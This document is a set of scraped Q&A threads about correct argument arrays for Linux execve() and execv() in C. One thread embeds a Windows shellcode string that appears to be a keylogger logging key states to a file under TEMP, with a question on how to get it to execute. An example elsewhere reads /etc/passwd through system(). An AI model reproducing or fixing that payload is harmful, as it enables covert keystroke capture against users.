I am trying to spawn a new process using execve() from unistd.h on Linux. I have tried passing it the following parameters execve("/bin/ls", "/bin/ls", NULL); but get no result. I do not get an error either, the program just exits. Is there a reason why this is happening? I have tried launching it as root and regular user. The reason I need to use execve() is because I am trying to get it to work in an assembly call like so
program: db "/bin/ls",0
mov eax, 0xb
mov ebx, program
mov ecx, program
mov edx, 0
int 0x80
Thank you!
The arguments that you're passing to execve are wrong. Both the second and third must be an array of char pointers with a NULL sentinel value, not a single pointer.
In other words, something like:
#include <unistd.h>
int main (void) {
char * const argv[] = {"/bin/ls", NULL};
char * const envp[] = {NULL};
int rc = execve ("/bin/ls", argv, envp);
return rc;
}
When I run that, I do indeed get a list of the files in the current directory.
From the man pages,
int execve(const char *filename, char *const argv[], char *const envp[]);
So the problem in your case is that you haven't passed the 2nd and the 3rd argument correctly.
/* execve.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int
main(int argc, char *argv[])
{
char *newargv[] = { NULL, "hello", "world", NULL };
char *newenviron[] = { NULL };
newargv[0] = argv[1];
execve(argv[1], newargv, newenviron);
}
//This is a over-simplified version of the example in the man page
Run this as:
$ cc execve.c -o execve
$ ./execve ls
Try reading man execve again. You are passing the wrong arguments to it. Pay particular attention to what the second argument should be.
Also, running your program under strace could be illuminating.
Related
Im confused of the use of the systemcall execve.
The second parameter should be a pointer to the arguments but it doesnt work, it does however execute correctly when I send the whole command(/bin/bash) + arg as a second parameter.
./test /bin/bash "echo 'this is a test' | wc -c"
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
int main(int argc, char *argv[]) {
execve(argv[1], &argv[1], NULL); ////works, but I dont understand how since the 2nd param is wrong.
return 0;
}
int main(int argc, char *argv[]) {
execve(argv[1], &argv[2], NULL); ////doenst work, it should since Im sending the correct aguments.
printf("hi");
return 0;
}
argv[0] contains the name of the file being executed. Therefore, execve also needs the file being executed as first element (index 0).
From the execve(2) man page:
argv is an array of pointers to strings passed to the new program
as its command-line arguments. By convention, the first of these
strings (i.e., argv[0]) should contain the filename associated
with the file being executed. The argv array must be terminated
by a NULL pointer. (Thus, in the new program, argv[argc] will be
NULL.)
In other words, the arguments list that you pass in the second parameter includes the name of the executable itself (even though that is already specified in the first parameter). This is how executables are able to detect how they're being invoked (e.g. through a symlink) and show the correct name in their "help" output.
In execve man we can see that its prototype is:
int execve(const char *pathname, char *const argv[], char *const envp[]);
According to execve man (https://man7.org/linux/man-pages/man2/execve.2.html)
argv is an array of pointers to strings passed to the new program
as its command-line arguments. By convention, the first of these
strings (i.e., argv[0]) should contain the filename associated
with the file being executed. The argv array must be terminated
by a NULL pointer. (Thus, in the new program, argv[argc] will be
NULL.)
In respect to these rules you're code should be:
#include <stdio.h>
#include <unistd.h>
int main ()
{
char *filepath = "/bin/echo";
char *argv[] = { filepath, "Hello World", NULL };
execve (filepath, argv, NULL);
return 0;
}
execve call executes a program from the caller. Just as any program in C, it requires argv[0] to be set to the name of the executable being executed. This is generally done automatically when executing from command line, but since you're using execve you have to do it yourself.
If argv_1[1] = <executable path for program_2>, when you call program_2 from program_1 with execve(argv_1[1], &argv_1[1], NULL), program_2 recieves an argv array such that argv_2[0] = argv_1[1], argv_2[1] = argv_1[2], and so on.
Notice how your second main does not follow this rule.
I've just recently been exploring the execve() system function. This code might not make much sense but that's not the main focus of this question. (I've managed to make it work correctly since, using this thread).
I've come across a really weird behavior and wanted either an explanation or a confirmation that something like this should not happen.
The "bugged" code is this:
#include <unistd.h>
int main(int argc, char **argv, char **env)
{
if (argc != 2)
return (ERROR_CODE);
char *test[] = { argv[1] };
char *a[] = { NULL };
execve(argv[1], test, env);
return (SUCCESS_CODE);
}
Compiling and executing it with an argument will correctly execute that function, in my case:
$> gcc main.c
$> ./a.out "/bin/ls"
This would work like the ls function would.
Now remove/comment this line:
char *a[] = { NULL };
This variable is clearly not used and completely useless.
Do the same steps once again and for some reason, it doesn't output anything, this one random variable breaks the code for me. (I'm running Ubuntu 20.04 with Gnome 3.36.8 and gcc 9.3.0).
If you need any more information about my OS or anything, feel free to ask.
PS: I think I understand the way the code is trying to work this out but It makes no sense to me.
$> man execve
main(int argc, char *argv[])
char *newargv[] = { NULL, "hello", "world", NULL };
...
execve(argv[1], newargv, newenviron);
The manual example null-terminates "newargv", my idea is that somehow, somewhere, the compiler decided to fuse together my variables "test" and "a", to null-terminate "test"?
Yep, you're accidentally seeing that "fusing" since you're not correctly terminating argv with a NULL and the memory layout happens to be in your favor. If you were less lucky, you'd get garbage in there, or a segfault.
Quoth the manpage (Linux, Darwin), emphasis mine,
The argument argv is a pointer to a null-terminated array of character pointers to null-terminated character strings.
#include <unistd.h>
int main(int argc, char **argv, char **env)
{
if (argc != 2)
return (ERROR_CODE);
char *test[] = { argv[1], NULL };
execve(argv[1], test, env);
return (SUCCESS_CODE);
}
would be the correct invocation.
If I execute the following code, it´s prin this stack dump error message:
1 [main] MyProg 10876 cygwin_exception::open_stackdumpfile: Dumping stack trace to MyProg.exe.stackdump
after it prints
Shellcode length: 601
Can you say me, what I should change, to get it working?
I have compiled it with Sublime Text and cygwin on Windows 10 64bit.
This is the code:
#include <stdio.h>
#include <string.h>
const char sc[] = "\xfc\x31\xd2\xb2\x30\x64\xff\x32\x5a\x8b\x52\x0c\x8b\x52\x14\x8b"
"\x72\x28\x31\xc0\x89\xc1\xb1\x03\xac\xc1\xc0\x08\xac\xe2\xf9\xac"
"\x3d\x4e\x52\x45\x4b\x74\x05\x3d\x6e\x72\x65\x6b\x8b\x5a\x10\x8b"
"\x12\x75\xdc\x8b\x53\x3c\x01\xda\xff\x72\x34\x8b\x52\x78\x01\xda"
"\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74"
"\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64"
"\x64\x72\x65\x75\xe2\x49\x8b\x72\x24\x01\xde\x66\x8b\x0c\x4e\x8b"
"\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x89\xd7\x52\x31\xc0\x50\x68"
"\x64\x6c\x65\x41\x68\x65\x48\x61\x6e\x68\x6f\x64\x75\x6c\x68\x47"
"\x65\x74\x4d\x54\x53\xff\xd7\x8d\x64\x24\x14\x50\x68\x4c\x4c\x01"
"\x88\xfe\x4c\x24\x02\x68\x33\x32\x2e\x44\x68\x55\x53\x45\x52\x54"
"\xff\xd0\x31\xd2\x39\xd0\x75\x38\x8d\x64\x24\x0c\x52\x68\x61\x72"
"\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\xff\xd7"
"\x8d\x64\x24\x10\x50\x68\x4c\x4c\x01\x77\xfe\x4c\x24\x02\x68\x33"
"\x32\x2e\x44\x68\x55\x53\x45\x52\x54\xff\xd0\x8d\x64\x24\x0c\x50"
"\x89\xc2\x68\x61\x74\x65\x01\xfe\x4c\x24\x03\x68\x65\x79\x53\x74"
"\x68\x47\x65\x74\x4b\x54\x52\xff\xd7\x8d\x64\x24\x0c\x50\x68\x65"
"\x01\x01\x55\xfe\x4c\x24\x01\x68\x65\x46\x69\x6c\x68\x57\x72\x69"
"\x74\x54\x53\xff\xd7\x8d\x64\x24\x0c\x50\x68\x6c\x65\x41\x01\xfe"
"\x4c\x24\x03\x68\x74\x65\x46\x69\x68\x43\x72\x65\x61\x54\x53\xff"
"\xd7\x8d\x64\x24\x0c\x50\x68\x6c\x65\x41\x01\xfe\x4c\x24\x03\x68"
"\x72\x69\x61\x62\x68\x6e\x74\x56\x61\x68\x6f\x6e\x6d\x65\x68\x6e"
"\x76\x69\x72\x68\x47\x65\x74\x45\x54\x53\xff\xd7\x8d\x64\x24\x18"
"\x50\x6a\x70\x68\x53\x6c\x65\x65\x54\x53\xff\xd7\x8d\x64\x24\x08"
"\x50\x52\x68\x63\x61\x74\x41\x68\x6c\x73\x74\x72\x54\x53\xff\xd7"
"\x8d\x64\x24\x0c\x50\x31\xc9\xb1\x0e\x51\xe2\xfd\x51\x68\x54\x45"
"\x4d\x50\x89\xe1\x6a\x40\x51\x51\xff\x54\x24\x54\x89\xe2\x6a\x01"
"\xfe\x0c\x24\x68\x2e\x62\x69\x6e\x68\x5c\x6c\x6f\x67\x89\xe1\x51"
"\x52\xff\x54\x24\x54\x31\xc9\x51\x51\x80\x04\x24\x80\x6a\x04\x51"
"\x6a\x02\x51\x80\x04\x24\x04\x50\xff\x54\x24\x74\x8d\x64\x24\x4c"
"\x50\x31\xc9\x89\xce\xb1\x08\x56\xe2\xfd\x31\xc9\x31\xf6\x6a\x08"
"\xff\x54\x24\x2c\x89\xf0\x3c\xff\x73\xf0\x46\x56\xff\x54\x24\x3c"
"\x89\xf2\x31\xc9\xb1\x80\x21\xc8\x31\xc9\x39\xc8\x75\x10\x31\xd2"
"\x89\xd1\x89\xf0\xb1\x20\xf7\xf1\x0f\xb3\x14\x84\xeb\xd6\x31\xd2"
"\x89\xd1\x89\xf0\xb1\x20\xf7\xf1\x0f\xa3\x14\x84\x72\xc6\x31\xd2"
"\x89\xd1\x89\xf0\xb1\x20\xf7\xf1\x0f\xab\x14\x84\x31\xc9\x56\x51"
"\x8d\x0c\x24\x51\x6a\x01\x8d\x4c\x24\x0c\x51\xff\x74\x24\x34\xff"
"\x54\x24\x4c\x8d\x64\x24\x04\xeb\x91";
int main(int argc, char *argv[]){
printf("Shellcode length: %d\n", (int)strlen(sc));
(*(void(*)(void))&sc)();
return 0;
}
This: (*(void(*)(void))&sc)();
You're taking a pointer to the first element of a const char[], casting it to a function pointer and attempting to execute that function.
I can't honestly imagine that ever succeeding.... the only way I can think of to 'get it working', since I have no idea what your intention is, is to not cast const char pointer and attempt to execute it as a function.
If you just want a pointer to a function, this is easy:
void sc (void)
{
// do things
}
int main (void)
{
void (*fptr)(void);
fptr = sc;
fptr();
}
I wrote the following code but I always get the output: "ERROR!" (the execv function not scheduled to return)
What am I doing wrong???
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <math.h>
#include <string.h>
#include <malloc.h>
#include "LineParser.h"
#define LOCATION_LEN 200
char* getL(void);
int main(int argc,char *argv[])
{
char *loc = getL();
char *args[] = {loc,"ls",NULL};
int i;
execv(args[0],args);
printf("ERROR!");
free(loc);
}
char* getL(void)
{
char *buff = (char**)malloc(sizeof(char)*LOCATION_LEN);
getcwd(buff,LOCATION_LEN);
return buff;
}
Read documentation of execv(3) and of execve(2) and of perror(3). At the very least, you should code
int main(int argc, char *argv[]) {
char *loc = getL();
char *args[] = { loc, "ls", NULL };
int i;
execv(args[0], args);
perror("execv");
free(loc);
}
You should compile with gcc -Wall -g then use the gdb debugger.
Your usage of execv is obviously wrong (you need a full path, e.g. "/bin/ls", and the order of arguments is wrong). You probably want exevcp(3) and you should in fact code at least:
char *args = { "ls", loc, NULL };
execvp("ls", args);
perror("execvp")
If you insist on using specifically execv(3) you could try
char *args = { "ls", loc, NULL };
execv("/bin/ls", args);
perror("execv")
I don't understand what your code is supposed to do. You might be interested by glob(7) & glob(3).
You probably should read Advanced Linux Programming. It seems that there are several concepts that you don't understand well enough. I guess that strace(1) could be useful to you (at least by running strace ls *.c to understand what is happening).
Maybe your getL is exactly what the GNU function get_current_dir_name(3) is doing, but then the (char**) cast inside it is grossly wrong. And you should better clear the buffer buff using memset(3) before calling getcwd(2) (and you should test against failure of ̀ mallocand ofgetcwd`)
Perhaps you want opendir(3), readdir(3), asprintf(3), stat(2); with all these, you could even avoid running ls
If you are coding some shell, you should strace some existing shell, and after having read all the references I am giving here, study the source code of free software shells like sash and GNU bash
You are not passing the correct arguments to execv. The first argument must be a path to the executable you wish to run but you are passing the path to the current working directory.
Update getL to return the full path to ls.
I have the following piece of C code that is being called with arguments:
int main(int argc, char *argv[])
{
system( "/home/user/script.sh" );
return 0;
}
how do i pass all arguments received down to script.sh?
You could synthesize some string (escaping naughty characters like quote or space when needed, like Shell related utility functions of Glib do) for system(3).
But (on Linux and Posix) you really want to call execv(3) without using system(3)
You may want to read (in addition of the man page I linked above) : Advanced Linux Programming
I think that you are looking for the execv function. It will grant to you to execute a specific file passing to it some optional arguments.
Try something next:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
system("cat /etc/passwd");
extern char * const environ[];
char * const command[] = {"mylsname", "-lR", "/", NULL};
execve("/bin/ls", command, environ);
perror("execve");
exit(EXIT_FAILURE);
}
You can use snprintf() function to frame a string. For example, snprintf(filename, sizeof(char) * 64, "/home/user/script.sh %s", argv[1]); and use system(filename);